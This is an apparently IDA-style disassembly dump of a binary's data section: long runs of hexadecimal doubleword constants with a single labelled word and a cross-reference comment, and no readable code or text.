		dd 0FF079C37h, 2687C227h, 0EB5ED718h, 3DA2FDF8h, 5B98B1F8h
		dd 4BD721FCh, 5EC28CCh,	9E048AEh, 2EB4125Eh, 0A878892Fh
		dd 0C11E1606h, 229666C8h, 45E3B68h, 68603687h, 0C20D02B0h
		dd 47E3AAD2h, 0EBD031DBh, 0BF0CF6C0h, 0CCA162DEh, 223D3F6Eh
		dd 550CF52h, 5D0D310Eh,	1665A534h, 9B1B7BA1h, 2860753Bh
		dd 5F260CA7h, 0FBF61FABh, 80C39A5Eh, 0C5C93DB4h, 0FF973DBBh
		dd 0E50FB2E0h, 0BEFD9D83h, 0F81ADFF1h, 0A2BC8A82h, 1BEFB33Bh
		dd 0FEE46498h, 7928E8DCh, 0A7BFA442h, 25F6CC0Ch, 80895159h
		dd 0E911695Ch, 8A0604CEh, 61DC643Ch, 0CC89CC0Dh, 822EBFBFh
		dd 56FDEAABh, 15AF0CC4h, 5D7F03B5h, 77FAB10Ch, 1425581Fh
		dd 82097EFFh, 2BA494DBh, 52E81C84h, 1CAC54CAh, 2AD9529Bh
		dd 0FBF7DD7Eh, 0D806D917h, 3581954Ah, 1BA7DBF4h, 0CCF5DBC9h
		dd 0C6D40367h, 890E3E02h, 40B5C911h, 7AEB4BF5h,	0C8913628h
		dd 12C5F028h, 1460A524h, 313E94D4h, 7B022684h, 35FBA1ECh
		dd 0A2E9CD8Ah, 5744C58Ch, 283AC48Fh, 44061144h,	5CA1819Ch
		dd 20E9EBB6h, 0FCC4C55h, 4B823258h, 13BED71Bh, 1EAC5F26h
		dd 64A90DCAh, 8BB212D0h, 2CDF1EBFh, 0F88CAF50h,	2C2FF81Fh
		dd 5055AB87h, 1648865h,	17703FA3h, 0C1868C41h, 74C83AE0h
		dd 5AF62130h, 0D89C6FA0h, 63825A04h, 2F74C301h,	7798ABF1h
		dd 6C2ED77Eh, 11A3A71Ch, 0A5069590h, 1493F10h, 9A12C18Fh
		dd 92D4E16Ch, 6D05A2D9h, 0EE5B88C1h, 0C5CDD1DEh, 29E6DB9Ch
		dd 0BD73608Bh, 2288E005h, 4E844034h, 0B2244512h, 22F62110h
		dd 77006967h, 1467E831h, 8387E0E0h, 900BBC85h, 0D017F248h
		dd 134560FFh, 0E2A5ACECh, 356DA450h, 0FE55CF95h, 2168A89Dh
		dd 0AC9B7AB2h, 76A2904Bh, 344171Dh, 0EB44924Ah,	5DAA41B2h
		dd 0CA6CC5C5h, 0A555F9DAh, 92B4638Dh, 8D0B843Eh, 90D40E32h
		dd 0E62FB710h, 6C526551h, 3885B1ECh, 0DC3A80B8h, 0E143B2AEh
		dd 7AE04890h, 25D2928h,	0C154E664h, 870B0E76h, 6077EB28h
		dd 0F0448610h, 545E4D30h, 5528C051h, 8C2981D6h,	85FBE8A6h
		dd 0B0579CEBh, 0E459371Dh, 0B39AB188h, 7D1D1520h, 81498090h
		dd 0CC42B06Dh, 0FF0EDB07h
		dd 572922ACh, 1A8DD3A5h, 57006564h, 0E2BCE4Fh, 7001D5D5h
		dd 0F00E583h, 88E92A0Ch, 75C4D8CCh, 0BAA788CBh,	8556FAA6h
		dd 7AF6549Fh, 0BE3D3669h, 17049ED3h, 0F27166EDh, 0C3EA4C04h
		dd 0A57C3DBAh, 4F2DEBF1h, 63E4A88Bh, 86360555h,	80BAE983h
		dd 0B8FF8938h, 8AEF5EECh, 3279A6E0h, 0FDA7D1AEh, 70771799h
		dd 22AA71D5h, 7DA848AAh, 5015519Eh, 59539C83h, 56F6F708h
		dd 13D6DC1Ch, 24D85508h, 0C93B0C50h, 0B933153Ah, 42AE4652h
		dd 47E056FBh, 7F8FDCB4h, 677AFF4h, 0BF06A429h, 8936CBE2h
		dd 2FB0D431h, 1EA09DFEh, 0AA962C5Fh, 0AA62C150h, 0C63DAA8Fh
		dd 0CE39C095h, 0BAC27D73h, 75974905h, 48639F2Dh, 3995FEBEh
		dd 3E5D09C3h, 624B02FBh, 0BD81449Eh, 0E1C5006Bh, 9A4FC1BBh
		dd 37F61572h, 72AABF7Ah, 5584010Ah, 9A671AC4h, 0FA85C72h
		dd 0B6287D4h, 0F574431Ah, 1298F8D5h, 292437B2h,	3ACCB8F5h
		dd 0A6556FEh, 0AD3C5697h, 0D9E478ABh, 3428CB51h, 74A304CAh
		dd 0FF12A7E7h, 3E56BF4Ch, 0C7A23E11h, 0A09107CEh, 405A59A7h
		dd 6E378D8Ah, 65B5B819h, 35A8092Fh, 0EEFCFC0Bh,	4498DFAFh
		dd 777CE61Fh, 0D1C66E7Fh, 0D2BBD8E9h, 616D71CDh, 565B7034h
		dd 6273A83Bh, 70853001h, 155F4669h, 0E3A29683h,	709981C3h
		dd 0FD530407h, 39A123C0h, 44B4422Dh, 355E83A4h,	0A4180CACh
		dd 6B761190h, 0C5FC25B8h, 0D841E8C4h, 8028E3B2h, 55B055FCh
		dd 49331F01h, 0D2E1D2FDh, 0BA1FC6C6h, 855E0E99h, 93685CA8h
		dd 2E554183h, 424A9812h, 2FE40006h, 29516BF8h, 98B83816h
		dd 6506500h, 0B71969B9h, 2B6D661Dh, 374DE2B0h, 33B9FA15h
		dd 91F41Bh, 86099FFh, 0F398FEB2h, 8817B35Fh, 62521624h
		dd 0D25F0145h, 3E01222Fh, 5E74B1FFh, 0C2848C51h, 0DDFF996Fh
		dd 39392303h, 3B2C4C0h,	7EFC605Ah, 0FD8892B8h, 62CB0F3Eh
		dd 70CA080Ah, 9EC607C7h, 246EACB8h, 0BAFA106Fh,	20799759h
		dd 0C1489FC8h, 0CB01D881h, 0E2C1102Ch, 0EB947787h, 340F24Ah
		dd 0CD42313Dh, 28D014BAh, 0BAA911FDh, 255EBD94h, 65C8731Eh
		dd 99A32943h, 0C98C856Fh, 0E0E01A16h, 0E1C67190h, 0C971527Ah
		dd 0E25A40C0h, 0D8B0E82Dh, 9EB9F4BBh, 0CE06566h, 8E5FC6DDh
		dd 206F42Fh, 7408130Eh,	88414ECAh, 9D93063Ch, 9F7E80F1h
		dd 0FAB9D60Dh, 17EAF95Fh, 17E3E198h, 643EE6C0h,	0F1788080h
		dd 2AD57D83h, 1503EC2h,	3CCF3DDEh, 3F7DD16h, 0F5C65D81h
		dd 0F8304B1Dh, 0AAC44ADDh, 17E260A0h, 30E3506Ch, 4551758h
		dd 8364624Ah, 17930575h, 63C1E1D5h, 99BA0206h, 0AA3C079Dh
		dd 787849F1h, 4D0BE606h, 85AF610Dh, 28025CA1h, 7D97BF4Dh
		dd 0ACBC32C8h, 97641ED2h, 0FA7DBBB2h, 54543201h, 902AF630h
		dd 51F283A6h, 0B0BE9E5h, 28AAC743h, 7CECAB74h, 6C90268Ah
		dd 7920EEA4h, 73FC757Ch, 0D695B43Eh, 8C45028Ah,	56CD8B50h
		dd 0AA7161F0h, 0B475CE39h, 16D578EAh, 2F4B55C0h, 17E8FFA8h
		dd 3C3E374Fh, 5F389F5Dh, 0F07C976Fh, 210E992h, 22DCAAD4h
		dd 4FF594D8h, 5F2615E3h, 47CBEDFh, 0ADBA2E8Dh, 0B7FCC660h
		dd 0A0DFEE1Dh, 85CBE1BCh, 50715545h, 510C9D69h,	41DF0B5h
		dd 7C685530h, 9A2EAB3Ah, 3973B391h, 0B05394B5h,	0FFAEB32Eh
		dd 55C97E1Bh, 0D82E1B81h, 724A872h, 0E762B11Ch,	69299BA2h
		dd 35C52156h, 0DB5B12F0h, 6F07387Bh, 0EDCFD70Ah, 4C1365FBh
		dd 9E77E23Fh, 255623B3h, 0FDD61229h, 0DC3AE26Ah, 1FC18157h
		dd 0E2084A13h, 56E83756h, 105E47C1h, 3A3A1A7Ah,	3B1B918h
		dd 7E114A93h, 1E00C468h, 652EF6Eh, 77F38676h, 2ACAEA6Eh
		dd 0A2ADBF44h, 49CDB742h, 0AB776B11h, 53A97638h, 0B8430167h
		dd 0D67B455Bh, 6C0DDA10h, 5BB618A3h, 0C11B1565h, 550B58BFh
		dd 0ACF9EBD2h, 5BB53B3Ah, 0C4255D5h, 1EEA5863h,	1E0F4536h
		dd 0E5E8B43Ah, 0F273467Bh, 483BBD02h, 76F7D1Ah,	41C6DB9Ah
		dd 8AB7DEFFh, 0C570D178h, 88989E98h, 4B1A506Ah,	902BB145h
		dd 1F393C38h, 0E94B9488h, 0F3DA538Ah, 3541A469h, 0AFA1275Dh
		dd 2E5024A6h, 0ABB6B242h, 0F8B942BCh, 540FB680h, 62F95E6Bh
		dd 8E71D7A5h, 99962621h, 8C4D3B3Ah, 19DF4230h, 35FC087Eh
		dd 0F4AFA540h, 0D74443FBh, 6156BEF0h, 44C01722h, 0AE7AFDB1h
		dd 9FC55C42h, 5C12A3A8h, 0E8930991h, 0D5DCF4DCh, 0B89822C9h
		dd 0CCE44F42h, 783CCA00h, 2ADCC428h, 93AC3269h,	0FD7AF20Bh
		dd 0A6977D8Ah, 5E65A2E1h, 743A974Eh, 27812518h,	0C2AECCBDh
		dd 0D93692BAh, 0F9441754h, 0E00CBE95h, 9F437B0Ah, 1A1FF1B9h
		dd 0B5569698h, 3357BBA4h, 0A2C0E281h, 3AE0B67h,	0E254BCAEh
		dd 0CBAD1474h, 0F0B9DA27h, 87EDEEE3h, 0F1DB422Eh, 5C8953D6h
		dd 4547F12Ah, 50272FB9h, 58EEB8BAh, 2992098h, 37228560h
		dd 0E19FF6D7h, 16241F94h, 0C9BE82D6h, 3A30675Bh, 0CBAE7EBh
		dd 8617268h, 69EA9811h,	4453A8C9h, 9548C1E2h, 7DF68D4Fh
		dd 0C56E9FA7h, 0C9BA82C5h, 727D7D20h, 0E183B40Eh, 1360FC4Ch
		dd 5F8842EBh, 0B58F6F84h, 144C0D92h, 0CB9827Ah,	0AEBD904Ah
		dd 0CA1EF7B5h, 1213B257h, 0E2650E7Eh, 6DF1E588h, 8FABFF9Ah
		dd 0AB0B3C2h, 0C4A32768h, 337AB741h, 38CF2BE1h,	3B0CFE07h
		dd 0DF3AE5B9h, 4F3DE96Fh, 0E7EEB2A5h, 0CCCC7355h, 0EB7A826Dh
		dd 204883E2h, 6D565B54h, 524A32FCh, 19CBDC27h, 0E2509828h
		dd 0A219280Ah, 0D90A5342h, 0B162B0C1h, 517A4108h, 8563CA4Ah
		dd 541F32EEh, 95D15009h, 74F83AF5h, 0BC778717h,	0C640EB3Eh
		dd 0C8B80FCAh, 0FBFAB92h, 4CAFA194h, 0D8696E36h, 0C11D4E47h
		dd 0E574BE8Ah, 0ED4B5E14h, 0E594DF3Bh, 0BDF2597Eh, 0A16C496h
		dd 818B472Ah, 98A818B2h, 540FE9C9h, 0A83724E1h,	0C4688F2h
		dd 0B8CE11A5h, 0A1E405DEh, 0BBD4AE0h, 3604ADD8h, 0B1D21D1Ch
		dd 4E15398Fh, 64AFB96Eh, 1AB1D56Bh, 1746F0D9h, 83A5AC8Ch
		dd 0A3D02B08h, 0AC7B772Eh, 0AE5954EAh, 371604C9h, 83DB1CC6h
		dd 7DF6F72Ah, 9D419072h, 1A192528h, 260DF377h, 0D6564CEEh
		dd 49928B81h, 3BB9732Fh, 0F55A31EDh, 0EB0FDB15h, 8EB9385Ah
		dd 6DE475B9h, 5E7EE7DFh, 511164F6h, 741C809h, 0E8D69D01h
		dd 15FFA4Ch, 71EF2AA3h,	0B8653031h, 0CE143800h,	0D1F1D42Dh
		dd 9A04E68Ah, 0BAA811F5h, 0A09C8E81h, 1AD81413h, 0DBC8E329h
		dd 5184D32Eh, 0FE9D0A2Ah, 47C1AF84h, 0F23FD472h, 0CE7BAEAEh
		dd 5A17D1E5h, 81394677h, 65E7567Ch, 15C7D8BBh, 6E980337h
		dd 0BF357F09h, 0EF0662A8h, 477D76FAh, 7D4020D1h, 2B8EBDA3h
		dd 0E3EAFE33h, 4BCEFB7Bh, 2BC79DADh, 0F101ABECh, 295050A6h
		dd 1783B7F3h, 671CA92Dh, 9FC12A2Fh, 0F0AB0926h,	830B3FFEh
		dd 64E2DB8Bh, 0EE7C48DAh, 9BAF9C32h, 0DC46A18h,	344FB025h
		dd 6B743154h, 0F430E79Dh, 5033137Bh, 441D7731h,	2D40FCFCh
		dd 0F613DFECh, 53DE3C54h, 7835FD4Ah, 5DFE3E9Ch,	5EFF505Ah
		dd 620BFDCh, 0C58A4C5Dh, 545DEFE5h, 425FD42Eh, 0DAD0FEA0h
		dd 4677A726h, 3DB76AA0h, 2396B162h, 5681846h, 445F7CDBh
		dd 31B43C61h, 0BFD56AB9h, 0F9C1E863h, 1CDAA662h, 29C3856Eh
		dd 218F30Dh, 0EAE97D5Bh, 1BA2E936h, 95DDF810h, 6742F562h
		dd 6618D21Ch, 7F8002DCh, 99755967h, 0BFB274F8h,	0C75A71DAh
		dd 250C4639h, 0CC70659Ah, 8D6331C4h, 0F3226B9Bh, 0D11916DEh
		dd 44191E78h, 0FD5BA666h, 0F5C08D3Ch, 460751D1h, 0C4C38F99h
		dd 0DC061268h, 0AE0831D6h
		db 3Dh,	8Bh
word_767676	dw 8D0h			; DATA XREF: .data:off_42CAA4o
		dd 88E7EA68h, 85D491ACh, 0D106518Eh, 87BFFDF2h,	572C2D8Eh
		dd 0BF957554h, 55C688B3h, 3138EECDh, 7F48C153h,	5DFC4E02h
		dd 60312AC6h, 0C312B496h, 96E4425Ch, 32A5EC2h, 79565E98h
		dd 8A0AFC00h, 0BAC5A9BBh, 0F0F36360h, 0F60C139Ah, 0E15C3E4Eh
		dd 0EC546D84h, 524F03F2h, 710D1A8Ch, 9419479Ch,	9727FCA5h
		dd 9040E468h, 439801E1h, 1EBB830h, 174E6F03h, 4734E3Ch
		dd 0A47A91EEh, 0FD77FEF0h, 0D881E68Bh, 23E8533Eh, 719FC9D1h
		dd 99707610h, 90404B65h, 19C71E38h, 0DA7C2B02h,	0C1F50EE9h
		dd 2647BD0Eh, 0E1917E71h, 7FA03194h, 60C6C767h,	5422B464h
		dd 586024F8h, 0DB9A8286h, 21409595h, 0A9DC8BDDh, 21EBB8A0h
		dd 0C0187A34h, 0CD1D951Ah, 1C3B3DD8h, 95DFF885h, 61230BA4h
		dd 30B0E9FAh, 0C8D16898h, 0C2C928Bh, 3BCB473Ch,	1E022558h
		dd 484F23A7h, 4622357h,	78BAFEE3h, 0D6CD8B38h, 13C00BBFh
		dd 49DC9406h, 0DFE8F9ACh, 0CF840A91h, 0B228605Dh, 92A2636Fh
		dd 8D03E8AFh, 7B189577h, 0F9E7DB0h, 8B15AFBEh, 0FA2E95C5h
		dd 0E4754266h, 0BE2E25EDh, 8BBD6742h, 0E04DAC31h, 867ED30Ch
		dd 2460331Ch, 0C198FF5h, 0CCB528BEh, 2018380Ah,	7B8A0854h
		dd 9FD416F8h, 0B388175h, 5340AD1Ch, 300CA233h, 0DD8311EEh
		dd 0D9600EE1h, 882E0198h, 42FCC101h, 0CE018B0Ah, 0A29FD20Ch
		dd 0C22F40C0h, 0F31804CFh, 908E481Ah, 0DB0614D2h, 0EC2230C8h
		dd 1570A3Eh, 44888458h,	0DC22h,	0D8000000h, 0F0000001h
		dd 434A0041h, 1C00h, 0
		dd 20D56B97h, 42377E78h, 878F3E8h, 7B655752h, 305D9810h
		dd 512AC021h, 63AD21BDh, 0D3A14CB9h, 21D8FFA1h,	0B0F44D7Bh
		dd 0FE4D0840h, 4D300857h, 670041DDh, 81A05B5h, 0F5F6D0Eh
		dd 0F5DD0A66h, 0B4043478h, 0B4243430h, 70A17190h, 0B5E61081h
		dd 58FAE52h, 8436DE02h,	1B2AC818h, 4FBA4021h, 5FF6A1BAh
		dd 97820632h, 0A02143Ch, 3818437Ah, 0C02103AEh,	0A128AC21h
		dd 2ECB211Ch, 0E2A15AB4h, 8381D988h, 8466048h, 6AEC285Eh
		dd 7600A1ECh, 0BD008707h, 5485A23Eh, 0D4941C04h, 3456A43Eh
		dd 304438A1h, 63EA9421h, 3EB10386h, 56888412h, 6C85AE68h
		dd 84325681h, 1F282849h, 6A80211Ah, 10193D8Ch, 103B1A74h
		dd 2732C020h, 0C8DC4042h, 95A50303h, 33242BD6h,	0C020CC63h
		dd 42B1ACh, 40EF490Ch, 0BF8D0AE4h, 2C182B76h, 7181B307h
		dd 0D410C3Eh, 0C90885EDh, 0B72F7808h, 47824717h, 3050B76h
		dd 510DACB4h, 8221904h,	2CDBB010h, 96619086h, 73D0DF56h
		dd 10B179D0h, 3B7C42FDh, 24080CB5h, 90042BB3h, 542F1F60h
		dd 4094EFC0h, 43DF5143h, 0E3B542F7h, 7243E976h,	430CDC97h
		dd 570ADE94h, 890B3060h, 0F59480A3h, 762020E4h,	0E5D08B6Fh
		dd 4043D5E1h, 42599541h, 80520202h, 3024A069h, 411282A5h
		dd 64A0E94h, 21284A50h,	0A4A16943h, 1286A50Eh, 4A1EC815h
		dd 1E8B5490h, 4BC9D20Bh, 12A81798h, 0CBA610D8h,	51BB7DCEh
		dd 0E93A9049h, 4B014506h, 0EA6AD07Ah, 0E569BD58h, 4C15316Eh
		dd 4CA7596h, 0CE600A00h, 0D0C03B93h, 26C81473h,	8F7100DCh
		dd 64FEAA00h, 0FC533FF4h, 8189840Fh, 0ACFDAA14h, 0CB4C20F7h
		dd 7965861Dh, 0EEDD5461h, 3998CF12h, 0DA7B1FF4h, 0B55C26BAh
		dd 5B1FA73Dh, 64BE45A6h, 588EDC3Bh, 49B8EE5Eh, 63C7FB26h
		dd 0F8F56E96h, 5E574CDBh, 4277B7CDh, 8DFA0F2Dh,	0DC79F231h
		dd 0DDFE42C9h, 10DB97F9h, 483616AAh, 45C773F3h,	0EF5077D8h
		dd 4BEF53B5h, 1AF5F93Bh, 0B6DA8ED4h, 0D7D38F85h, 0E9E0EAD9h
		dd 8B644F81h, 0A8B5D92Fh, 5F9B17F7h, 0D9C9B2E2h, 0A9F5C80Ch
		dd 53B36C83h, 58C94F61h, 0FFAFAC36h, 118DE448h,	2DD3BAF4h
		dd 42D34CF2h, 506C1D5Bh, 95C6CFA2h, 0E89A81CFh,	28FD4825h
		dd 2FFB8586h, 0F4AD7B58h, 5697F5A8h, 2D35B666h,	36542EB7h
		dd 2777DBA0h, 7E779ACFh, 19EEC2C1h, 4573BF45h, 0E7C37ADDh
		dd 0CACCF7A3h, 0ABD64C3Bh, 3269D11Eh, 0F547004Fh, 0AFC88B58h
		dd 7A1BFDAFh, 0D3692191h, 0F136756Ch, 0CE5775CFh, 87E977BBh
		dd 8CF13814h, 0A2118882h, 0D7F65D98h, 671A49E9h, 0BE61F315h
		dd 0B7CBE23h, 4CB45635h, 71DB0F06h, 7B2DB36Dh, 0B2141EE5h
		dd 0DA0D71EDh, 0C077920Eh, 96625510h, 0EAFBF138h, 5D89F8FEh
		dd 0D76D06D2h, 0F937F9F9h, 9F5371E8h, 0BC41F631h, 99A7E549h
		dd 331DA884h, 0E5A31988h, 7787770Dh, 0B55FE5B3h, 0DB6C232Fh
		dd 6CB26460h, 35CB1F9Bh, 0E951B592h, 0B1584F47h, 3B130B2Eh
		dd 169CB271h, 0F2F6E560h, 0C7AF7A58h, 0C6F83F4h, 8460AAFCh
		dd 487FD78Dh, 0D9D8596Ah, 1E9DC13Fh, 0D5D37D8Bh, 0BE62373Fh
		dd 0CEFC77BBh, 62A4CB7Bh, 515F99EEh, 9E32CB4Ch,	0EA7EEB16h
		dd 1D95379Ch, 0A1693A58h, 0D8DE68FCh, 530DDF52h, 83A5EFD2h
		dd 0BAF95EC0h, 0C4713A3Ah, 4FDFD3ADh, 0D3B528F0h, 7F25762Bh
		dd 74D28D88h, 0B3EB483Dh, 0DC583B5h, 7396C128h,	9E58EC0Eh
		dd 675FA642h, 0B55C9BE4h, 37BB3CB8h, 0C16A06A8h, 30293C40h
		dd 942F7D86h, 90433932h, 5DADA2AFh, 0B3C2DBCDh,	0C27A966Dh
		dd 0CE7FC961h, 0E743BF3Dh, 0EAF66393h, 0D994C88Bh, 74361B4Dh
		dd 475F8F17h, 9EECEB38h, 1869B974h, 0EEB9BDDBh,	0EB6D9BAEh
		dd 48307B8h, 0F6EDB67Bh, 0FCD433C4h, 5E065BA5h,	0B1BA4E68h
		dd 0FD5F56BEh, 0EE6B3B15h, 9376E098h, 38B772E7h, 1285D8FCh
		dd 7849DD93h, 293EB55Bh, 61BA8AD1h, 6BD42F9Fh, 0EF2677Fh
		dd 0F09C9C9Fh, 5C4615B1h, 0CF41EFB4h, 4370FF87h, 4B4708C3h
		dd 0DA3E5018h, 0F7FB8506h, 0B4D76AF6h, 2FBF2ECFh, 65C05C66h
		dd 0D6C8CF9Eh, 0D6BB75Dh, 0A37D4FF7h, 8257D3C4h, 0D6AF5DA8h
		dd 873295DDh, 0B3DBFBFBh, 9FC92F7Eh, 0FB1D4329h, 0B78BF54Bh
		dd 0EC2C1E8Bh, 0F75B7F7Bh, 0C9F4743Ch, 4E176271h, 52F977E9h
		dd 0FF1B3EECh, 0F14ABEF3h, 4DDD836Dh, 67F4B9B6h, 0CA91DA95h
		dd 0C37B14C8h, 0DC2B5FF6h, 0A540CFD8h, 2F504A0Fh, 0FDE5FBFh
		dd 552767D4h, 18C75BA6h, 379DF5A6h, 8D8CD9D8h, 7971AC1Dh
		dd 9B79A0E9h, 5BE4B36Fh, 15A2A595h, 0BBC33990h,	3A3C2F77h
		dd 0B98B40A4h, 52F93416h, 0ABBE9DEEh, 0B8B2885Eh, 0F76592ADh
		dd 6D25704Bh, 56CEB9A7h, 0FFF5F853h, 1E7F436Bh,	8BCF7665h
		dd 91DD777Ah, 0B7B03F64h, 0CDC9BE56h, 3F667347h, 6ABAC2B2h
		dd 76D816A6h, 0D09393Fh, 9B43BD78h, 5B3C1EE5h, 13AB9182h
		dd 0E0A95BFCh, 0AC52F5B8h, 0F16BA57Bh, 1BDCE237h, 0B68666F1h
		dd 0DD2C9437h, 7DD5F2EDh, 0FDFDCBE4h, 87BFDB85h, 0F53A5D3Ch
		dd 350BC45Fh, 0E3F8D9F7h, 6D16EC1Fh, 6A3FCD8Bh,	6FB035B9h
		dd 36E7EDE1h, 0BBEC2DE5h, 28FB78C7h, 9AB4B3F1h,	70B543FFh
		dd 0FCA9DC1Ah, 0CD5C85C0h, 6226B3D6h, 5C7DA75Dh, 62FC74CDh
		dd 5AEC345Eh, 7DB22D78h, 0F142B41Eh, 0EE9437AFh, 54C1C129h
		dd 0DC2D9C0Eh, 73619359h, 0F4FF78B5h, 83A14DA3h, 0DA693DBBh
		dd 0BDBA7D4Ah, 0B57475DDh, 0CAD75BB3h, 6685F7E8h, 1F09DF62h
		dd 6F533FBCh, 0D4F173DBh, 0BEF5FF9Fh, 0B2A3FA63h, 930D044Fh
		dd 0E5BD258Ah, 0E16EB946h, 0F27B3A9Eh, 9B47B492h, 4166DD03h
		dd 0C720DD7Eh, 6CA6AFDEh, 0AA6FECFDh, 991CBAF5h, 66D9EE29h
		dd 561E240Ah, 3768AEE5h, 2576F954h, 0DF7D0BDAh,	6871D0CEh
		dd 1C6FBF05h, 0AD637DF0h, 29691601h, 6A83C21Dh,	0BF6073E0h
		dd 0F1827A3Fh, 84657D6Ah, 0F505EB88h, 0A3DA3440h, 8C0C0809h
		dd 0C08C4128h, 0A0090544h, 9ACC03A0h, 2FA41289h, 0C19AC41Eh
		dd 10466F30h, 25573464h, 10491D05h, 0E2D60B41h,	3005024Bh
		dd 812BC002h, 0C2022550h, 2C4922h, 801207C4h, 65046DC4h
		dd 6EA46D80h, 13291EB9h, 45B8F9C2h, 405B5FBCh, 9A01198Ah
		dd 432166B9h, 596F1700h, 71336DB7h, 0D9024ABFh,	68BCDC0Dh
		dd 0DD12B1D8h, 6C573041h, 0B6591880h, 7DB3241h,	40C2E010h
		dd 5B2DE4AEh, 4958ECB6h, 93608574h, 0B08A81DBh,	783613B4h
		dd 81015B8Dh, 0C952B52Ch, 20AB3260h, 8810C218h,	882598Dh
		dd 0B401102h, 0E81182E8h, 118B659Eh, 63306081h,	0B7C53B82h
		dd 2D058C02h, 0B702FD01h, 0A8504087h, 0A25147h,	3349B99Dh
		dd 0B95BDA24h, 2E49A48Ah, 3171B4BAh, 0B6980800h, 704EDCD0h
		dd 0A94BA2D4h, 0A9C52993h, 39906B59h, 65730242h, 0C4A4025Fh
		dd 70A1F987h, 2A544DD5h, 303A0787h, 6103C386h, 20F5808h
		dd 8314CF12h, 41372ACh,	51995031h, 0CF156387h, 2DB8A4CAh
		dd 0C810D74Ah, 956186E1h, 0A76BD2D9h, 0B064C709h, 0D4D00207h
		dd 60AB1618h, 8D081063h, 46E575h, 6B32D36Dh, 0B2C8099Ah
		dd 6CF09970h, 0A0AA5329h, 0F5324C1Ch, 2B3E21DAh, 4D3A8EC1h
		dd 0FC46894Fh, 0A6D04131h, 84B2A536h, 984CA700h, 492D9009h
		dd 294C5B0h, 482E96F2h,	8A2904C5h, 30F1D297h, 0A038B428h
		dd 365C18E0h, 0A29BA25h, 0B94EA03Eh, 52EB67h, 0B418B9DCh
		dd 149E0242h, 0CC3C2A3Bh, 177B4B1Ch, 0F2E05A31h, 0C6144D63h
		dd 774B226Fh, 4D512E0Ah
		dd 4DC5AED6h, 95878321h, 101A0D4Ch, 58C248D1h, 70342414h
		dd 0E1453466h, 76AF856h, 2C120BA4h, 0BC590079h,	0B746E346h
		dd 60698CE5h, 0BE3C2770h, 302CA190h, 0B0980836h, 4283A075h
		dd 8B3A7098h, 0B2BC52C6h, 26964506h, 99458D02h,	4A6E9F5Bh
		dd 4EDB0C0Eh, 0C5A2E415h, 8060A111h, 63B5B186h,	8A0C6E31h
		dd 0AC4DC060h, 2F4031A8h, 0C088B95Bh, 5401AE02h, 9672864h
		dd 0D8420961h, 650DC50Ch, 3C253965h, 7604451h, 0A0ACB6Ah
		dd 0DC005E85h, 94E1358Ch, 94B3DD42h, 9AE6A302h,	8A308164h
		dd 0E5E837B6h, 0EB3B4186h, 4060D077h, 824A84E1h, 3680CA6Ah
		dd 85C0C228h, 74598162h, 0AC6CC295h, 69439592h,	2B525A77h
		dd 2985AC57h, 215CBC85h, 14282E58h, 5D28AB42h, 0D21048A8h
		dd 36AE4EA4h, 1032E00h,	4233C6E6h, 52DC5426h, 42D2D636h
		dd 8A8FC381h, 0B4336C8h, 440046A6h, 0D94D6D5h, 2A85ECB5h
		dd 76860BDAh, 0C51AE56h, 9A9D85CCh, 0A945EDCh, 76CB62A6h
		dd 8E450449h, 62F34Ah, 9C00CB6h, 1D6E62A7h, 65B853D4h
		dd 9929D6FBh, 0B5114A00h, 4CAA95A0h, 10A39CBAh,	532C3732h
		dd 0B41595EBh, 0B1CA82C0h, 65D49829h, 0B081576Eh, 0A2C8F261h
		dd 4D789CB0h, 0D9CB508Eh, 5E074263h, 23A8D38Bh,	93220434h
		dd 92F46229h, 94446A98h, 31B50247h, 0FBA848CAh,	0B950D8E0h
		dd 21C9008Ch, 0E3FA8723h, 0C4863BC2h, 86AC0847h, 32E4A26Ah
		dd 2CEE1251h, 1E024237h, 81FAF8h, 53336023h, 0C0041D87h
		dd 8D332604h, 21697670h, 88B24818h, 0E2521434h,	61C0988Fh
		dd 0C028799Eh, 4430BE54h, 2AAA1562h, 9A65E14Ch,	0B2E00F60h
		dd 938FF03h, 69C1C6Ch, 773B6F82h, 2A81AE3h, 0E0452082h
		dd 0E4E32C20h, 940C2D0Dh, 0E6CD1831h, 2B00C301h, 45EBC250h
		dd 245E22D2h, 17A3A046h, 671CFE19h, 547DD070h, 0A31FD614h
		dd 7044A50Ch, 29069541h, 3E22F969h, 9506387Ah, 0B095813Bh
		dd 30D10FD8h, 84ED222Fh, 6813E112h, 0D8028F41h,	0A017A029h
		dd 7513EA02h, 5E04EE02h, 870FD08Fh, 0F5059236h,	907F93C0h
		dd 0F29430A4h, 0A4624092h, 0B87F9A11h, 71971211h, 0E661C808h
		dd 58C13409h, 0BD2C4E9Ah, 23DD04A0h, 297818E1h,	0E6BC514Ch
		dd 0CD9AE380h, 4BF0CD1Fh, 5E669405h, 8F3663C4h,	862525F2h
		dd 0D054B0D9h, 88148E25h, 11F15056h, 8D98834h, 0F22740D2h
		dd 0A47FC0C2h, 50023082h, 0AC285B98h, 72B47FDBh, 6320296Ah
		dd 0EA811B9h, 54F33146h, 74137AD0h, 92DA9336h, 2800DB8Fh
		dd 0B061D86h, 70E8C11Ah, 126B5F11h, 0EA03143Fh,	6411EB42h
		dd 6F693CCBh, 762CA142h, 0A733C68Eh, 5C0445AFh,	34AB30E5h
		dd 90061500h, 166687EDh, 0C3483DF8h, 4DEE6799h,	4447C601h
		dd 77F5F089h, 10000000h, 1C00h,	421000h, 7600434Ah, 1
		dd 4A4F0000h, 11F22091h, 245135A0h, 240C78E8h, 50104C95h
		dd 0D0C83AFAh, 6332F96Ch, 0CCDEF58h, 502BFB46h,	0DC7E130Ch
		dd 0BB20993Ah, 95B924Eh, 0AE069459h, 0ECF2CECBh, 2DD9ED84h
		dd 895193D0h, 0EB292285h, 0A6E92DF6h, 66B66BBDh, 6408682Dh
		dd 0DA5D1C25h, 73B2C929h, 32E60A5Fh, 0A9D9D8E5h, 685638D6h
		dd 0DE4E6DC1h, 7925E44Ah, 970D7462h, 0DCAC393Eh, 62DA084Dh
		dd 0CB1D20C8h, 0C21C181h, 0B9A3AC8Bh, 0D8ED3BCDh, 0D4923CB4h
		dd 3F8EB704h, 49A8DCDAh, 65C9529h, 0C0A44E81h, 2BA3947h
		dd 0A2E6142Eh, 3D74E4h,	6B881B94h, 0DB5A6AECh, 1E51DD34h
		dd 0B856CCCh, 96925ABDh, 478FC350h, 86189676h, 0CD70B31Ah
		dd 80F24E26h, 69602454h, 0ACCCEB72h, 9B75DB72h,	6CB41A94h
		dd 5EE5DAC3h, 159B5ACh,	0EA2A670Eh, 731C630Dh, 0C85287F9h
